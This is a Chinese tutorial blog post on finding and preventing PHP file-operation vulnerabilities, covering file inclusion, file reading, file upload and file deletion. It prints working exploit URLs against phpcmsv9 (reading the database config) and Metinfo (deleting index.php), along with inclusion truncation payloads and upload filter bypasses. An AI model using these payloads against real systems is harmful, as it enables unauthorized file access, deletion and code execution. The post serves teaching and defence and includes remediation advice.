漏洞挖掘与防范之文件操作漏洞

因为到这学期期末啦,所以课程设计,大作业什么的都来了,影响了我学习的进度,趁着这些刚刚结束,我把之前学习的关于文件操作的漏洞的一些收获写下来,供大家参考学习。

文件操作漏洞

文件操作包括文件包含、文件读取、文件删除、文件修改以及文件上传,这几种文件操作的漏洞有部分相似点,但是又有各自的漏洞函数以及利用方式,接下来我们具体分析下它们的成因、挖掘方式和修复方案。

1. 文件包含漏洞
PHP的文件包含可以直接执行包含文件的代码,包含的文件格式是不受限制的,只要能正常执行即可。文件包含分为本地文件包含和远程文件包含。文件包含函数有include()、include_once()、require()和require_once(),它们的区别在于:include()和include_once()在包含文件时即使遇到错误,下面的代码依然会继续执行;而require()和require_once()则会直接报错退出程序。

挖掘经验
文件包含漏洞大多出现在模块加载、模板加载以及cache调用的地方。
比如像espcms的代码:
$archive=indexget(‘archive’,’R’);
$archive=empty($archive) ? ‘adminuser’:$archive;
$action=indexget(‘action’,’R’);
$action=empty($action) ? ‘login’:$action;
include admin_ROOT.adminfile.”/control/$archive.php”;
传入的archive参数就是被包含的文件名,所以我们在挖掘文件包含漏洞的时候可以先跟踪一下程序运行流程,看看里面模块加载时包含的文件是否可控,另外就是直接搜索include()、include_once()、require()和require_once这四个函数来回溯看看有没有可控的变量。

(1)本地文件包含
本地文件包含是指只能包含本地文件的文件包含漏洞。
测试代码1.php如下:
<?php
define(“ROOT”,dirname(FILE).’/‘);
$mod=$_GET[‘mod’];
echo ROOT.$mod.’.php’;
include(ROOT.$mod.’.php’);
?>
在同目录下2.php文件代码如下:
<?php phpinfo(); ?>
在浏览器输入http://localhost/1.php?mod=2执行结果如下图所示:

(2)远程文件包含
远程文件包含是指可以包含远程文件的包含漏洞,远程文件包含需要设置allow_url_include=On。
下面我们来看看基于HTTP协议测试代码:

将PHP.ini配置文件中的allow_url_include=Off改为allow_url_include=On

查看远程目标主机的phpinfo信息

查看目标主机IP地址

进行远程文件包含,在浏览器输入http://localhost/a.php?url=http://192.168.1.121/2.php

(3)文件包含截断
大多数的文件包含漏洞都是需要截断的,因为正常程序里面包含的文件代码一般像include(BASEPATH.$mod.’.php’)或者include($mod.’.php’)这样的方式,如果我们不能写入以.php为扩展名的文件,那我们是需要截断来利用的。

扫描二维码关注公众号,回复: 3148862 查看本文章

(I.)利用%00截断
测试代码如下:

在浏览器输入http://localhost/g.php?a=2.txt%00

(II.)利用多个英文句号(.)和反斜杠(/)来截断
测试代码如下:

在浏览器输入http://localhost/h.php

(III.)利用问号(?)
测试代码如下:

在浏览器输入http://localhost/g.php?a=http://192.168.1.121/2.php?

2. 文件读取(下载漏洞)
这个漏洞很容易理解,部分程序在下载文件或者读取显示文件的时候,读取文件的参数filename直接在请求里面传递,后台程序获取到这个文件路径后直接读取返回,问题在于这个参数是用户可控的,可以直接传入想要读取的文件路径即可利用。

挖掘经验
一种方式是可以先黑盒看看功能点对应的文件,再去读文件;另一种方式是去搜索文件读取的函数,看看有没有可以直接或者间接控制的变量,文件读取函数列表如下:file_get_contents()、highlight_file()、fopen()、readfile()、fread()、fgetss()、fgets()、parse_ini_file()、show_source()、file()。除了这些正常读取文件的函数外,还有其他功能的函数也一样可以用来读取文件,比如文件包含函数include,可以利用PHP输入输出流php://filter/来读取文件。

phpcmsv9任意文件读取漏洞分析
漏洞位于文件phpcmsv9\install_package\phpcms\modules\search\index.php,代码如下:

这里可以看到该函数直接从GET参数里面获取要读取的url,然后使用file_get_contents函数来读取内容,需要?url=&q=../../1.php这样多加两个”../“,把“&q=”当成目录跳过,最终这个漏洞读取数据库配置文件的EXP为:
http://192.168.10.130/phpcmsv9/install_package/phpcms/modules/search/index.php?m=search&c=index&a=public_get_suggest_keyword&url=&q=../../../../phpsso_server/caches/configs/database.php

3. 文件上传漏洞
文件上传漏洞是最容易理解的漏洞,如果能把文件上传到管理员或者应用程序不想让你上传的目录,那就是存在文件上传漏洞。

挖掘经验
目前大多数Web应用都基于框架来写,上传的点都是调用的同一个上传类,上传函数只有move_uploaded_file()这一个,所以在代码审计的时候直接搜索move_uploaded_file()函数,再去看调用这个函数上传文件的代码存不存在未限制上传格式或者可以绕过。

(I)未过滤或本地过滤
未过滤和本地过滤共同点是在服务器端都未过滤,这个未过滤指的是没限制任何格式的文件上传,就是一个最简单的文件上传功能,上传的时候直接上传php格式的文件即可利用,简化后的代码如下:
<?php
move_uploaded_file($_FILES[“file”][“tmp_name”],$_FILES[“files”][“name”]);
?>
move_uploaded_file()函数直接把上传的临时文件copy到新文件。

(II)黑名单扩展名过滤
黑名单的缺点有以下几个:
(1)限制的扩展名不够全;
我们来看看phpcmsv9里面一段限制的代码:
$savefile=preg_replace(“/(php|phtml|php3|php4|jsp|exe|dll|asp|cer|asa|shtml|shtm|aspx|asax|cgi|fcgi|pl)(.|$)/i”,”_\1\2”,$savefile);
由代码可知cdx不在列表里面,限制不完全。

(2)验证扩展名的方式存在问题可以直接绕过,另外是结合PHP和系统的特性,导致了可以截断文件名来绕过黑名单限制。
先看一段代码:

这段代码问题在于获取文件扩展名与验证扩展名,如果我们上传的时候文件名为“1.php”,注意后面有个空格,则这里$FilenameExt的值为“php ”,后面有一个空格,这时候in_array($FilenameExt,$disallowed_types)返回false的,最终成功上传文件。

(III)文件头、content-type验证绕过
早期时候,上传文件的时候如果直接上传一个非图片文件会被提示不是图片文件,但是在文件头里面加上“GIF89a”后上传,则验证通过,这是因为程序用了一些不可靠的函数去判断是不是图片文件,比如getimagesize()函数。测试代码如下:

测试效果如下:

content-type是在http request的请求头里面,所以这个值可以由请求者自定义修改的。
下面是找的存在这个漏洞的代码:

4. 文件删除漏洞
文件删除漏洞出现在文件管理应用上比较多,这些应用一般也都有文件上传和读取等功能。常出现这个漏洞的函数是unlink(),不过老版本的session_destroy()函数也可以删除文件。

挖掘经验
挖掘文件删除漏洞可以先去找相应的功能点,直接黑盒测试一下看能不能删除某个文件。纯白盒挖掘的话,可以去搜索常有变量参数的unlink(),依然采用回溯变量的方式。

Metinfo任意文件删除分析
漏洞在metinfo企业内容管理系统的recovery.php文件,代码如下:
if($action==’delete’)
{
if(is_array($filenames))
{
foreach($filenames as $filename)
if(fileext($filename)==’sql’)
{
@unlink(‘../databack/‘.$filename);
}
}
}
else
{
if(fileext($filenames)==’sql’)
{
$filenamearray=explode(“.sql”,$filenames);
@unlink(‘../../databack/‘.$filenames);
@unlink(‘../../databack/sql/metinfo_’.$filenamearray[0].”.zip”);
}
else
{
@unlink(‘../../databack/‘.$fileon.’/‘.filenames);
}
}
这段代码首先判断请求的action参数是不是delete,如果是则进入文件删除功能,代码 if(fileext($filenames)==’sql’) 判断如果不是sql文件后,就直接在databack目录删除提交的文件名,代码中$filenames函数从GET中提交,只要请求:/recovery.php?&action=delete&filenames=../../index.php,即可删除index.php文件。

文件操作漏洞防范

通用文件操作防御
文件操作漏洞利用有几个共同点:
(1)由越权操作引起可以操作未授权操作的文件;
(2)要操作更多文件需要跳转目录;
(3)大多都是直接在请求中传入文件名。
防御手段:
(1)对权限的管理要合理;
(2)下载文件的时候,用更安全的方法来替代直接以文件名为参数的下载操作;
(3)要避免目录跳转的问题,检查出入的参数有“../”这些字符,之间提示禁止操作并停止程序继续往下执行。

猜你喜欢

转载自blog.csdn.net/qq_36197704/article/details/81623790
今日推荐